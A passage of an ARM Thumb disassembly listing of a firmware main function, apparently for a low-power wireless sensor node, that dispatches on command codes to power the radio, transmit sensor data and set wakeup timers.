c36: 683c ldr r4, [r7, #0]
c38: 683e ldr r6, [r7, #0]
c3a: 683a ldr r2, [r7, #0]
c3c: 683d ldr r5, [r7, #0]
c3e: 0e24 lsrs r4, r4, #24
c40: 0c2d lsrs r5, r5, #16
c42: b2eb uxtb r3, r5
c44: 9203 str r2, [sp, #12]
c46: 9301 str r3, [sp, #4]
c48: 2c00 cmp r4, #0
c4a: d100 bne.n c4e <main+0x33a>
c4c: e347 b.n 12de <main+0x9ca>
c4e: 4b32 ldr r3, [pc, #200] ; (d18 <main+0x404>)
c50: 681b ldr r3, [r3, #0]
c52: 9302 str r3, [sp, #8]
c54: 2b00 cmp r3, #0
c56: d114 bne.n c82 <main+0x36e>
c58: f7ff fa64 bl 124 <set_halt_until_mbus_tx>
c5c: 4959 ldr r1, [pc, #356] ; (dc4 <main+0x4b0>)
c5e: 20aa movs r0, #170 ; 0xaa
c60: f7ff fa6e bl 140 <mbus_write_message32>
c64: 6839 ldr r1, [r7, #0]
c66: 20aa movs r0, #170 ; 0xaa
c68: f7ff fa6a bl 140 <mbus_write_message32>
c6c: 9902 ldr r1, [sp, #8]
c6e: 4b4e ldr r3, [pc, #312] ; (da8 <main+0x494>)
c70: 6019 str r1, [r3, #0]
c72: 4b27 ldr r3, [pc, #156] ; (d10 <main+0x3fc>)
c74: 6019 str r1, [r3, #0]
c76: f7ff faa1 bl 1bc <radio_power_off>
c7a: f7ff fad5 bl 228 <ldo_power_off>
c7e: f7ff fae7 bl 250 <temp_power_off>
c82: 9a03 ldr r2, [sp, #12]
c84: 0a13 lsrs r3, r2, #8
c86: 2c01 cmp r4, #1
c88: d000 beq.n c8c <main+0x378>
c8a: e0a1 b.n dd0 <main+0x4bc>
c8c: 22ff movs r2, #255 ; 0xff
c8e: 4f41 ldr r7, [pc, #260] ; (d94 <main+0x480>)
c90: 4013 ands r3, r2
c92: 603b str r3, [r7, #0]
c94: 4b20 ldr r3, [pc, #128] ; (d18 <main+0x404>)
c96: 4015 ands r5, r2
c98: 4016 ands r6, r2
c9a: 022d lsls r5, r5, #8
c9c: 6819 ldr r1, [r3, #0]
c9e: 1976 adds r6, r6, r5
ca0: 42b1 cmp r1, r6
ca2: d21e bcs.n ce2 <main+0x3ce>
ca4: 681a ldr r2, [r3, #0]
ca6: 3201 adds r2, #1
ca8: 601a str r2, [r3, #0]
caa: 681a ldr r2, [r3, #0]
cac: 2a01 cmp r2, #1
cae: d109 bne.n cc4 <main+0x3b0>
cb0: f7ff fb20 bl 2f4 <radio_power_on>
cb4: 2002 movs r0, #2
cb6: 1c21 adds r1, r4, #0
cb8: 1c22 adds r2, r4, #0
cba: f7ff fa01 bl c0 <set_wakeup_timer>
cbe: f7ff fa69 bl 194 <mbus_sleep_all>
cc2: e7fe b.n cc2 <main+0x3ae>
cc4: 6819 ldr r1, [r3, #0]
cc6: 4b40 ldr r3, [pc, #256] ; (dc8 <main+0x4b4>)
cc8: 2000 movs r0, #0
cca: 18c9 adds r1, r1, r3
ccc: f7ff fb6e bl 3ac <send_radio_data_ppm>
cd0: 6838 ldr r0, [r7, #0]
cd2: 1c21 adds r1, r4, #0
cd4: b280 uxth r0, r0
cd6: 1c22 adds r2, r4, #0
cd8: f7ff f9f2 bl c0 <set_wakeup_timer>
cdc: f7ff fa5a bl 194 <mbus_sleep_all>
ce0: e7fe b.n ce0 <main+0x3cc>
ce2: 2200 movs r2, #0
ce4: 601a str r2, [r3, #0]
ce6: 1c20 adds r0, r4, #0
ce8: 4938 ldr r1, [pc, #224] ; (dcc <main+0x4b8>)
cea: f7ff fb5f bl 3ac <send_radio_data_ppm>
cee: f7ff fb47 bl 380 <operation_sleep_notimer>
cf2: 46c0 nop ; (mov r8, r8)
cf4: 000fffff .word 0x000fffff
cf8: 0000137c .word 0x0000137c
cfc: deadbeef .word 0xdeadbeef
d00: 00001344 .word 0x00001344
d04: ffff9fff .word 0xffff9fff
d08: fffe7fff .word 0xfffe7fff
d0c: a000002c .word 0xa000002c
d10: 0000139c .word 0x0000139c
d14: 00001378 .word 0x00001378
d18: 000013b0 .word 0x000013b0
d1c: 000013a4 .word 0x000013a4
d20: 0000c204 .word 0x0000c204
d24: 0000c24a .word 0x0000c24a
d28: 00000221 .word 0x00000221
d2c: 00001088 .word 0x00001088
d30: 0000c226 .word 0x0000c226
d34: 0000d10f .word 0x0000d10f
d38: 0000082c .word 0x0000082c
d3c: 00000aac .word 0x00000aac
d40: 00000111 .word 0x00000111
d44: 0000135c .word 0x0000135c
d48: 0000134c .word 0x0000134c
d4c: fff1ffff .word 0xfff1ffff
d50: 0000133c .word 0x0000133c
d54: ff7fffff .word 0xff7fffff
d58: 00001358 .word 0x00001358
d5c: ffe07fff .word 0xffe07fff
d60: 00001340 .word 0x00001340
d64: ff03ffff .word 0xff03ffff
d68: fffffe1f .word 0xfffffe1f
d6c: ffffe1ff .word 0xffffe1ff
d70: fffc7fff .word 0xfffc7fff
d74: 00001328 .word 0x00001328
d78: ffffe01f .word 0xffffe01f
d7c: fff01fff .word 0xfff01fff
d80: 00001334 .word 0x00001334
d84: ffff03ff .word 0xffff03ff
d88: 00001348 .word 0x00001348
d8c: 000013bc .word 0x000013bc
d90: 000083d6 .word 0x000083d6
d94: 000013a0 .word 0x000013a0
d98: 00001380 .word 0x00001380
d9c: 00001374 .word 0x00001374
da0: 00001394 .word 0x00001394
da4: 0000138c .word 0x0000138c
da8: 000013b4 .word 0x000013b4
dac: 00001370 .word 0x00001370
db0: 000013c0 .word 0x000013c0
db4: 00001384 .word 0x00001384
db8: 00001390 .word 0x00001390
dbc: 00001354 .word 0x00001354
dc0: 00080800 .word 0x00080800
dc4: abcd1234 .word 0xabcd1234
dc8: 00abc000 .word 0x00abc000
dcc: 00faf000 .word 0x00faf000
dd0: 2c02 cmp r4, #2
dd2: d129 bne.n e28 <main+0x514>
dd4: 22ff movs r2, #255 ; 0xff
dd6: 4013 ands r3, r2
dd8: 4016 ands r6, r2
dda: 021b lsls r3, r3, #8
ddc: 18f6 adds r6, r6, r3
dde: 49da ldr r1, [pc, #872] ; (1148 <main+0x834>)
de0: 230f movs r3, #15
de2: 4ada ldr r2, [pc, #872] ; (114c <main+0x838>)
de4: 402b ands r3, r5
de6: 600e str r6, [r1, #0]
de8: 6013 str r3, [r2, #0]
dea: 2310 movs r3, #16
dec: 401d ands r5, r3
dee: 4bd8 ldr r3, [pc, #864] ; (1150 <main+0x83c>)
df0: 49d8 ldr r1, [pc, #864] ; (1154 <main+0x840>)
df2: 601d str r5, [r3, #0]
df4: 4cd8 ldr r4, [pc, #864] ; (1158 <main+0x844>)
df6: 2300 movs r3, #0
df8: 600b str r3, [r1, #0]
dfa: 6821 ldr r1, [r4, #0]
dfc: 4299 cmp r1, r3
dfe: d000 beq.n e02 <main+0x4ee>
e00: e1d8 b.n 11b4 <main+0x8a0>
e02: 6810 ldr r0, [r2, #0]
e04: 2101 movs r1, #1
e06: 1c0a adds r2, r1, #0
e08: b280 uxth r0, r0
e0a: f7ff f959 bl c0 <set_wakeup_timer>
e0e: 2301 movs r3, #1
e10: 9901 ldr r1, [sp, #4]
e12: 6023 str r3, [r4, #0]
e14: 4bd1 ldr r3, [pc, #836] ; (115c <main+0x848>)
e16: 094a lsrs r2, r1, #5
e18: 601a str r2, [r3, #0]
e1a: 4bd1 ldr r3, [pc, #836] ; (1160 <main+0x84c>)
e1c: 681a ldr r2, [r3, #0]
e1e: 3201 adds r2, #1
e20: 601a str r2, [r3, #0]
e22: f7ff f9b7 bl 194 <mbus_sleep_all>
e26: e7fe b.n e26 <main+0x512>
e28: 2c03 cmp r4, #3
e2a: d14a bne.n ec2 <main+0x5ae>
e2c: 27ff movs r7, #255 ; 0xff
e2e: 4ac7 ldr r2, [pc, #796] ; (114c <main+0x838>)
e30: 403b ands r3, r7
e32: 6013 str r3, [r2, #0]
e34: 4bca ldr r3, [pc, #808] ; (1160 <main+0x84c>)
e36: 403e ands r6, r7
e38: 681a ldr r2, [r3, #0]
e3a: 42b2 cmp r2, r6
e3c: d300 bcc.n e40 <main+0x52c>
e3e: e24a b.n 12d6 <main+0x9c2>
e40: 681a ldr r2, [r3, #0]
e42: 3201 adds r2, #1
e44: 601a str r2, [r3, #0]
e46: 681d ldr r5, [r3, #0]
e48: 2d01 cmp r5, #1
e4a: d11f bne.n e8c <main+0x578>
e4c: 2100 movs r1, #0
e4e: 1c22 adds r2, r4, #0
e50: 2006 movs r0, #6
e52: f7ff f9a5 bl 1a0 <mbus_remote_register_write>
e56: 2064 movs r0, #100 ; 0x64
e58: f7ff f91d bl 96 <delay>
e5c: 2064 movs r0, #100 ; 0x64
e5e: f7ff f91a bl 96 <delay>
e62: 23a0 movs r3, #160 ; 0xa0
e64: 061b lsls r3, r3, #24
e66: 681b ldr r3, [r3, #0]
e68: 401f ands r7, r3
e6a: 4bbe ldr r3, [pc, #760] ; (1164 <main+0x850>)
e6c: 601f str r7, [r3, #0]
e6e: f7ff fa0b bl 288 <batadc_reset>
e72: 2064 movs r0, #100 ; 0x64
e74: f7ff f90f bl 96 <delay>
e78: f7ff fa3c bl 2f4 <radio_power_on>
e7c: 2002 movs r0, #2
e7e: 1c29 adds r1, r5, #0
e80: 1c2a adds r2, r5, #0
e82: f7ff f91d bl c0 <set_wakeup_timer>
e86: f7ff f985 bl 194 <mbus_sleep_all>
e8a: e7fe b.n e8a <main+0x576>
e8c: 6818 ldr r0, [r3, #0]
e8e: 2301 movs r3, #1
e90: 4018 ands r0, r3
e92: d005 beq.n ea0 <main+0x58c>
e94: 4bb3 ldr r3, [pc, #716] ; (1164 <main+0x850>)
e96: 4ab4 ldr r2, [pc, #720] ; (1168 <main+0x854>)
e98: 6819 ldr r1, [r3, #0]
e9a: 2000 movs r0, #0
e9c: 1889 adds r1, r1, r2
e9e: e004 b.n eaa <main+0x596>
ea0: 4bb2 ldr r3, [pc, #712] ; (116c <main+0x858>)
ea2: 6819 ldr r1, [r3, #0]
ea4: 23c0 movs r3, #192 ; 0xc0
ea6: 041b lsls r3, r3, #16
ea8: 18c9 adds r1, r1, r3
eaa: f7ff fa7f bl 3ac <send_radio_data_ppm>
eae: 4ba7 ldr r3, [pc, #668] ; (114c <main+0x838>)
eb0: 2101 movs r1, #1
eb2: 6818 ldr r0, [r3, #0]
eb4: 1c0a adds r2, r1, #0
eb6: b280 uxth r0, r0
eb8: f7ff f902 bl c0 <set_wakeup_timer>
ebc: f7ff f96a bl 194 <mbus_sleep_all>
ec0: e7fe b.n ec0 <main+0x5ac>
ec2: 2c04 cmp r4, #4
ec4: d177 bne.n fb6 <main+0x6a2>
ec6: 22ff movs r2, #255 ; 0xff
ec8: 49a0 ldr r1, [pc, #640] ; (114c <main+0x838>)
eca: 4013 ands r3, r2
ecc: 600b str r3, [r1, #0]
ece: 4ba8 ldr r3, [pc, #672] ; (1170 <main+0x85c>)
ed0: 4016 ands r6, r2
ed2: 4aa8 ldr r2, [pc, #672] ; (1174 <main+0x860>)
ed4: 601e str r6, [r3, #0]
ed6: 6819 ldr r1, [r3, #0]
ed8: 6812 ldr r2, [r2, #0]
eda: 4291 cmp r1, r2
edc: d301 bcc.n ee2 <main+0x5ce>
ede: 2200 movs r2, #0
ee0: 601a str r2, [r3, #0]
ee2: 4c9f ldr r4, [pc, #636] ; (1160 <main+0x84c>)
ee4: 6823 ldr r3, [r4, #0]
ee6: 2b02 cmp r3, #2
ee8: d840 bhi.n f6c <main+0x658>
eea: 6823 ldr r3, [r4, #0]
eec: 3301 adds r3, #1
eee: 6023 str r3, [r4, #0]
ef0: 6825 ldr r5, [r4, #0]
ef2: 2d01 cmp r5, #1
ef4: d109 bne.n f0a <main+0x5f6>
ef6: f7ff f9fd bl 2f4 <radio_power_on>
efa: 2002 movs r0, #2
efc: 1c29 adds r1, r5, #0
efe: 1c2a adds r2, r5, #0
f00: f7ff f8de bl c0 <set_wakeup_timer>
f04: f7ff f946 bl 194 <mbus_sleep_all>
f08: e7fe b.n f08 <main+0x5f4>
f0a: 4a9b ldr r2, [pc, #620] ; (1178 <main+0x864>)
f0c: 6821 ldr r1, [r4, #0]
f0e: 2000 movs r0, #0
f10: 1889 adds r1, r1, r2
f12: f7ff fa4b bl 3ac <send_radio_data_ppm>
f16: 4b8d ldr r3, [pc, #564] ; (114c <main+0x838>)
f18: 6822 ldr r2, [r4, #0]
f1a: 6818 ldr r0, [r3, #0]
f1c: 2101 movs r1, #1
f1e: b280 uxth r0, r0
f20: 1c0a adds r2, r1, #0
f22: f7ff f8cd bl c0 <set_wakeup_timer>
f26: f7ff f935 bl 194 <mbus_sleep_all>
f2a: e7fe b.n f2a <main+0x616>
f2c: 6821 ldr r1, [r4, #0]
f2e: 20dd movs r0, #221 ; 0xdd
f30: f7ff f906 bl 140 <mbus_write_message32>
f34: 2064 movs r0, #100 ; 0x64
f36: f7ff f8ae bl 96 <delay>
f3a: 6823 ldr r3, [r4, #0]
f3c: 4d8f ldr r5, [pc, #572] ; (117c <main+0x868>)
f3e: 009b lsls r3, r3, #2
f40: 5959 ldr r1, [r3, r5]
f42: 20dd movs r0, #221 ; 0xdd
f44: f7ff f8fc bl 140 <mbus_write_message32>
f48: 2064 movs r0, #100 ; 0x64
f4a: f7ff f8a4 bl 96 <delay>
f4e: 488c ldr r0, [pc, #560] ; (1180 <main+0x86c>)
f50: f7ff f8aa bl a8 <config_timerwd>
f54: 6823 ldr r3, [r4, #0]
f56: 2000 movs r0, #0
f58: 009b lsls r3, r3, #2
f5a: 5959 ldr r1, [r3, r5]
f5c: f7ff fa26 bl 3ac <send_radio_data_ppm>
f60: 4888 ldr r0, [pc, #544] ; (1184 <main+0x870>)
f62: f7ff f898 bl 96 <delay>
f66: 6823 ldr r3, [r4, #0]
f68: 3b01 subs r3, #1
f6a: 6023 str r3, [r4, #0]
f6c: 4b80 ldr r3, [pc, #512] ; (1170 <main+0x85c>)
f6e: 2500 movs r5, #0
f70: 681a ldr r2, [r3, #0]
f72: 4985 ldr r1, [pc, #532] ; (1188 <main+0x874>)
f74: 42aa cmp r2, r5
f76: d102 bne.n f7e <main+0x66a>
f78: 680d ldr r5, [r1, #0]
f7a: 1e6a subs r2, r5, #1
f7c: 4195 sbcs r5, r2
f7e: 6818 ldr r0, [r3, #0]
f80: 2200 movs r2, #0
f82: 4290 cmp r0, r2
f84: d007 beq.n f96 <main+0x682>
f86: 681a ldr r2, [r3, #0]
f88: 4b7a ldr r3, [pc, #488] ; (1174 <main+0x860>)
f8a: 6809 ldr r1, [r1, #0]
f8c: 681b ldr r3, [r3, #0]
f8e: 188a adds r2, r1, r2
f90: 4293 cmp r3, r2
f92: 4192 sbcs r2, r2
f94: 4252 negs r2, r2
f96: 4315 orrs r5, r2
f98: 4c7b ldr r4, [pc, #492] ; (1188 <main+0x874>)
f9a: d1c7 bne.n f2c <main+0x618>
f9c: 487b ldr r0, [pc, #492] ; (118c <main+0x878>)
f9e: f7ff f87a bl 96 <delay>
fa2: 2001 movs r0, #1
fa4: 497a ldr r1, [pc, #488] ; (1190 <main+0x87c>)
fa6: f7ff fa01 bl 3ac <send_radio_data_ppm>
faa: 4b6d ldr r3, [pc, #436] ; (1160 <main+0x84c>)
fac: 601d str r5, [r3, #0]
fae: 4b71 ldr r3, [pc, #452] ; (1174 <main+0x860>)
fb0: 681b ldr r3, [r3, #0]
fb2: 6023 str r3, [r4, #0]
fb4: e69b b.n cee <main+0x3da>
fb6: 2c07 cmp r4, #7
fb8: d149 bne.n 104e <main+0x73a>
fba: 24ff movs r4, #255 ; 0xff
fbc: 4f63 ldr r7, [pc, #396] ; (114c <main+0x838>)
fbe: 4023 ands r3, r4
fc0: 603b str r3, [r7, #0]
fc2: 4b6a ldr r3, [pc, #424] ; (116c <main+0x858>)
fc4: 2500 movs r5, #0
fc6: 601d str r5, [r3, #0]
fc8: 4b65 ldr r3, [pc, #404] ; (1160 <main+0x84c>)
fca: 4026 ands r6, r4
fcc: 681a ldr r2, [r3, #0]
fce: 42b2 cmp r2, r6
fd0: d235 bcs.n 103e <main+0x72a>
fd2: 681a ldr r2, [r3, #0]
fd4: 3201 adds r2, #1
fd6: 601a str r2, [r3, #0]
fd8: 681e ldr r6, [r3, #0]
fda: 2e01 cmp r6, #1
fdc: d11f bne.n 101e <main+0x70a>
fde: 1c29 adds r1, r5, #0
fe0: 2203 movs r2, #3
fe2: 2006 movs r0, #6
fe4: f7ff f8dc bl 1a0 <mbus_remote_register_write>
fe8: 2064 movs r0, #100 ; 0x64
fea: f7ff f854 bl 96 <delay>
fee: 2064 movs r0, #100 ; 0x64
ff0: f7ff f851 bl 96 <delay>
ff4: 23a0 movs r3, #160 ; 0xa0
ff6: 061b lsls r3, r3, #24
ff8: 681b ldr r3, [r3, #0]
ffa: 401c ands r4, r3
ffc: 4b59 ldr r3, [pc, #356] ; (1164 <main+0x850>)
ffe: 601c str r4, [r3, #0]
1000: f7ff f942 bl 288 <batadc_reset>
1004: 2064 movs r0, #100 ; 0x64
1006: f7ff f846 bl 96 <delay>
100a: f7ff f973 bl 2f4 <radio_power_on>
100e: 2002 movs r0, #2
1010: 1c31 adds r1, r6, #0
1012: 1c32 adds r2, r6, #0
1014: f7ff f854 bl c0 <set_wakeup_timer>
1018: f7ff f8bc bl 194 <mbus_sleep_all>
101c: e7fe b.n 101c <main+0x708>
101e: 4b51 ldr r3, [pc, #324] ; (1164 <main+0x850>)
1020: 1c28 adds r0, r5, #0
1022: 6819 ldr r1, [r3, #0]
1024: 4b50 ldr r3, [pc, #320] ; (1168 <main+0x854>)
1026: 18c9 adds r1, r1, r3
1028: f7ff f9c0 bl 3ac <send_radio_data_ppm>
102c: 6838 ldr r0, [r7, #0]
102e: 2101 movs r1, #1
1030: b280 uxth r0, r0
1032: 1c0a adds r2, r1, #0
1034: f7ff f844 bl c0 <set_wakeup_timer>
1038: f7ff f8ac bl 194 <mbus_sleep_all>
103c: e7fe b.n 103c <main+0x728>
103e: 2001 movs r0, #1
1040: 4953 ldr r1, [pc, #332] ; (1190 <main+0x87c>)
1042: 601d str r5, [r3, #0]
1044: f7ff f9b2 bl 3ac <send_radio_data_ppm>
1048: f7ff f92a bl 2a0 <batadc_resetrelease>
104c: e64f b.n cee <main+0x3da>
104e: 2c08 cmp r4, #8
1050: d132 bne.n 10b8 <main+0x7a4>
1052: 4a46 ldr r2, [pc, #280] ; (116c <main+0x858>)
1054: 2400 movs r4, #0
1056: 6014 str r4, [r2, #0]
1058: 4a41 ldr r2, [pc, #260] ; (1160 <main+0x84c>)
105a: 6811 ldr r1, [r2, #0]
105c: 3101 adds r1, #1
105e: 6011 str r1, [r2, #0]
1060: 6817 ldr r7, [r2, #0]
1062: 2f01 cmp r7, #1
1064: d005 beq.n 1072 <main+0x75e>
1066: 22ff movs r2, #255 ; 0xff
1068: 4013 ands r3, r2
106a: 4016 ands r6, r2
106c: 021b lsls r3, r3, #8
106e: 18f6 adds r6, r6, r3
1070: e019 b.n 10a6 <main+0x792>
1072: f7ff f93f bl 2f4 <radio_power_on>
1076: 2002 movs r0, #2
1078: 1c39 adds r1, r7, #0
107a: 1c3a adds r2, r7, #0
107c: f7ff f820 bl c0 <set_wakeup_timer>
1080: f7ff f888 bl 194 <mbus_sleep_all>
1084: e7fe b.n 1084 <main+0x770>
1086: 22bb movs r2, #187 ; 0xbb
1088: 0412 lsls r2, r2, #16
108a: 18a1 adds r1, r4, r2
108c: 2000 movs r0, #0
108e: f7ff f98d bl 3ac <send_radio_data_ppm>
1092: 483e ldr r0, [pc, #248] ; (118c <main+0x878>)
1094: f7fe ffff bl 96 <delay>
1098: 4839 ldr r0, [pc, #228] ; (1180 <main+0x86c>)
109a: f7ff f805 bl a8 <config_timerwd>
109e: 483b ldr r0, [pc, #236] ; (118c <main+0x878>)
10a0: 3401 adds r4, #1
10a2: f7fe fff8 bl 96 <delay>
10a6: 42b4 cmp r4, r6
10a8: d1ed bne.n 1086 <main+0x772>
10aa: 07eb lsls r3, r5, #31
10ac: d501 bpl.n 10b2 <main+0x79e>
10ae: f7ff f903 bl 2b8 <reset_pmu_solar_short>
10b2: 2200 movs r2, #0
10b4: 4b2a ldr r3, [pc, #168] ; (1160 <main+0x84c>)
10b6: e10f b.n 12d8 <main+0x9c4>
10b8: 2c13 cmp r4, #19
10ba: d171 bne.n 11a0 <main+0x88c>
10bc: 27ff movs r7, #255 ; 0xff
10be: 4c23 ldr r4, [pc, #140] ; (114c <main+0x838>)
10c0: 403b ands r3, r7
10c2: 2064 movs r0, #100 ; 0x64
10c4: 6023 str r3, [r4, #0]
10c6: f7fe ffe6 bl 96 <delay>
10ca: 4b32 ldr r3, [pc, #200] ; (1194 <main+0x880>)
10cc: 9a01 ldr r2, [sp, #4]
10ce: 6818 ldr r0, [r3, #0]
10d0: 0911 lsrs r1, r2, #4
10d2: 4a31 ldr r2, [pc, #196] ; (1198 <main+0x884>)
10d4: 0149 lsls r1, r1, #5
10d6: 4002 ands r2, r0
10d8: 430a orrs r2, r1
10da: 601a str r2, [r3, #0]
10dc: 220f movs r2, #15
10de: 4015 ands r5, r2
10e0: 026a lsls r2, r5, #9
10e2: 492e ldr r1, [pc, #184] ; (119c <main+0x888>)
10e4: 681d ldr r5, [r3, #0]
10e6: 2004 movs r0, #4
10e8: 400d ands r5, r1
10ea: 4315 orrs r5, r2
10ec: 601d str r5, [r3, #0]
10ee: 681a ldr r2, [r3, #0]
10f0: 2100 movs r1, #0
10f2: f7ff f855 bl 1a0 <mbus_remote_register_write>
10f6: 2064 movs r0, #100 ; 0x64
10f8: f7fe ffcd bl 96 <delay>
10fc: 4b18 ldr r3, [pc, #96] ; (1160 <main+0x84c>)
10fe: 403e ands r6, r7
1100: 681a ldr r2, [r3, #0]
1102: 42b2 cmp r2, r6
1104: d300 bcc.n 1108 <main+0x7f4>
1106: e0e6 b.n 12d6 <main+0x9c2>
1108: 681a ldr r2, [r3, #0]
110a: 3201 adds r2, #1
110c: 601a str r2, [r3, #0]
110e: 681d ldr r5, [r3, #0]
1110: 2d01 cmp r5, #1
1112: d109 bne.n 1128 <main+0x814>
1114: f7ff f8ee bl 2f4 <radio_power_on>
1118: 2002 movs r0, #2
111a: 1c29 adds r1, r5, #0
111c: 1c2a adds r2, r5, #0
111e: f7fe ffcf bl c0 <set_wakeup_timer>
1122: f7ff f837 bl 194 <mbus_sleep_all>
1126: e7fe b.n 1126 <main+0x812>
1128: 6819 ldr r1, [r3, #0]
112a: 4b0f ldr r3, [pc, #60] ; (1168 <main+0x854>)
112c: 2000 movs r0, #0
112e: 18c9 adds r1, r1, r3
1130: f7ff f93c bl 3ac <send_radio_data_ppm>
1134: 6820 ldr r0, [r4, #0]
1136: 2101 movs r1, #1
1138: b280 uxth r0, r0
113a: 1c0a adds r2, r1, #0
113c: f7fe ffc0 bl c0 <set_wakeup_timer>
1140: f7ff f828 bl 194 <mbus_sleep_all>
1144: e7fe b.n 1144 <main+0x830>
1146: 46c0 nop ; (mov r8, r8)
1148: 000013bc .word 0x000013bc
114c: 000013a0 .word 0x000013a0
1150: 00001394 .word 0x00001394
1154: 0000138c .word 0x0000138c
1158: 000013b4 .word 0x000013b4
115c: 00001390 .word 0x00001390
1160: 000013b0 .word 0x000013b0
1164: 00001398 .word 0x00001398
1168: 00bbb000 .word 0x00bbb000
116c: 00001378 .word 0x00001378
1170: 000013a8 .word 0x000013a8
1174: 00001380 .word 0x00001380
1178: 00abc000 .word 0x00abc000
117c: 000013c4 .word 0x000013c4
1180: 000fffff .word 0x000fffff
1184: 00001388 .word 0x00001388
1188: 00001374 .word 0x00001374
118c: 00002710 .word 0x00002710
1190: 00faf000 .word 0x00faf000
1194: 00001340 .word 0x00001340
1198: fffffe1f .word 0xfffffe1f
119c: ffffe1ff .word 0xffffe1ff
11a0: 2c14 cmp r4, #20
11a2: d116 bne.n 11d2 <main+0x8be>
11a4: 4a4f ldr r2, [pc, #316] ; (12e4 <main+0x9d0>)
11a6: 2301 movs r3, #1
11a8: 6013 str r3, [r2, #0]
11aa: 4a4f ldr r2, [pc, #316] ; (12e8 <main+0x9d4>)
11ac: 6013 str r3, [r2, #0]
11ae: 4a4f ldr r2, [pc, #316] ; (12ec <main+0x9d8>)
11b0: 6013 str r3, [r2, #0]
11b2: 2300 movs r3, #0
11b4: 4a4e ldr r2, [pc, #312] ; (12f0 <main+0x9dc>)
11b6: 6013 str r3, [r2, #0]
11b8: 4a4e ldr r2, [pc, #312] ; (12f4 <main+0x9e0>)
11ba: 6013 str r3, [r2, #0]
11bc: 4a4e ldr r2, [pc, #312] ; (12f8 <main+0x9e4>)
11be: 6013 str r3, [r2, #0]
11c0: 4a4e ldr r2, [pc, #312] ; (12fc <main+0x9e8>)
11c2: 6013 str r3, [r2, #0]
11c4: 2278 movs r2, #120 ; 0x78
11c6: 6013 str r3, [r2, #0]
11c8: 4a4d ldr r2, [pc, #308] ; (1300 <main+0x9ec>)
11ca: 6013 str r3, [r2, #0]
11cc: 4a4d ldr r2, [pc, #308] ; (1304 <main+0x9f0>)
11ce: 6013 str r3, [r2, #0]
11d0: e085 b.n 12de <main+0x9ca>
11d2: 2c15 cmp r4, #21
11d4: d12b bne.n 122e <main+0x91a>
11d6: 4b4c ldr r3, [pc, #304] ; (1308 <main+0x9f4>)
11d8: 681a ldr r2, [r3, #0]
11da: 0212 lsls r2, r2, #8
11dc: d004 beq.n 11e8 <main+0x8d4>
11de: 681a ldr r2, [r3, #0]
11e0: 4b4a ldr r3, [pc, #296] ; (130c <main+0x9f8>)
11e2: 0212 lsls r2, r2, #8
11e4: 0a12 lsrs r2, r2, #8
11e6: 601a str r2, [r3, #0]
11e8: 4b45 ldr r3, [pc, #276] ; (1300 <main+0x9ec>)
11ea: 681a ldr r2, [r3, #0]
11ec: 2a04 cmp r2, #4
11ee: d872 bhi.n 12d6 <main+0x9c2>
11f0: 681a ldr r2, [r3, #0]
11f2: 3201 adds r2, #1
11f4: 601a str r2, [r3, #0]
11f6: 681c ldr r4, [r3, #0]
11f8: 2c01 cmp r4, #1
11fa: d109 bne.n 1210 <main+0x8fc>
11fc: f7ff f87a bl 2f4 <radio_power_on>
1200: 2002 movs r0, #2
1202: 1c21 adds r1, r4, #0
1204: 1c22 adds r2, r4, #0
1206: f7fe ff5b bl c0 <set_wakeup_timer>
120a: f7fe ffc3 bl 194 <mbus_sleep_all>
120e: e7fe b.n 120e <main+0x8fa>
1210: 4b3e ldr r3, [pc, #248] ; (130c <main+0x9f8>)
1212: 2000 movs r0, #0
1214: 6819 ldr r1, [r3, #0]
1216: f7ff f8c9 bl 3ac <send_radio_data_ppm>
121a: 4b3d ldr r3, [pc, #244] ; (1310 <main+0x9fc>)
121c: 2101 movs r1, #1
121e: 6818 ldr r0, [r3, #0]
1220: 1c0a adds r2, r1, #0
1222: b280 uxth r0, r0
1224: f7fe ff4c bl c0 <set_wakeup_timer>
1228: f7fe ffb4 bl 194 <mbus_sleep_all>
122c: e7fe b.n 122c <main+0x918>
122e: 2c20 cmp r4, #32
1230: d10c bne.n 124c <main+0x938>
1232: 4b35 ldr r3, [pc, #212] ; (1308 <main+0x9f4>)
1234: 681a ldr r2, [r3, #0]
1236: 0212 lsls r2, r2, #8
1238: d004 beq.n 1244 <main+0x930>
123a: 681a ldr r2, [r3, #0]
123c: 4b35 ldr r3, [pc, #212] ; (1314 <main+0xa00>)
123e: 0212 lsls r2, r2, #8
1240: 0a12 lsrs r2, r2, #8
1242: 601a str r2, [r3, #0]
1244: 4b2e ldr r3, [pc, #184] ; (1300 <main+0x9ec>)
1246: 2200 movs r2, #0
1248: 601a str r2, [r3, #0]
124a: e550 b.n cee <main+0x3da>
124c: 2c16 cmp r4, #22
124e: d146 bne.n 12de <main+0x9ca>
1250: 9901 ldr r1, [sp, #4]
1252: 29ff cmp r1, #255 ; 0xff
1254: d007 beq.n 1266 <main+0x952>
1256: 2303 movs r3, #3
1258: 401d ands r5, r3
125a: 4b2b ldr r3, [pc, #172] ; (1308 <main+0x9f4>)
125c: 00ad lsls r5, r5, #2
125e: 681a ldr r2, [r3, #0]
1260: 4b2d ldr r3, [pc, #180] ; (1318 <main+0xa04>)
1262: b292 uxth r2, r2
1264: 50ea str r2, [r5, r3]
1266: 4b26 ldr r3, [pc, #152] ; (1300 <main+0x9ec>)
1268: 681a ldr r2, [r3, #0]
126a: 2a04 cmp r2, #4
126c: d833 bhi.n 12d6 <main+0x9c2>
126e: 681a ldr r2, [r3, #0]
1270: 3201 adds r2, #1
1272: 601a str r2, [r3, #0]
1274: 681c ldr r4, [r3, #0]
1276: 2c01 cmp r4, #1
1278: d109 bne.n 128e <main+0x97a>
127a: f7ff f83b bl 2f4 <radio_power_on>
127e: 2002 movs r0, #2
1280: 1c21 adds r1, r4, #0
1282: 1c22 adds r2, r4, #0
1284: f7fe ff1c bl c0 <set_wakeup_timer>
1288: f7fe ff84 bl 194 <mbus_sleep_all>
128c: e7fe b.n 128c <main+0x978>
128e: 4c22 ldr r4, [pc, #136] ; (1318 <main+0xa04>)
1290: 2000 movs r0, #0
1292: 6821 ldr r1, [r4, #0]
1294: f7ff f88a bl 3ac <send_radio_data_ppm>
1298: 4820 ldr r0, [pc, #128] ; (131c <main+0xa08>)
129a: f7fe fefc bl 96 <delay>
129e: 6861 ldr r1, [r4, #4]
12a0: 2000 movs r0, #0
12a2: f7ff f883 bl 3ac <send_radio_data_ppm>
12a6: 481d ldr r0, [pc, #116] ; (131c <main+0xa08>)
12a8: f7fe fef5 bl 96 <delay>
12ac: 68a1 ldr r1, [r4, #8]
12ae: 2000 movs r0, #0
12b0: f7ff f87c bl 3ac <send_radio_data_ppm>
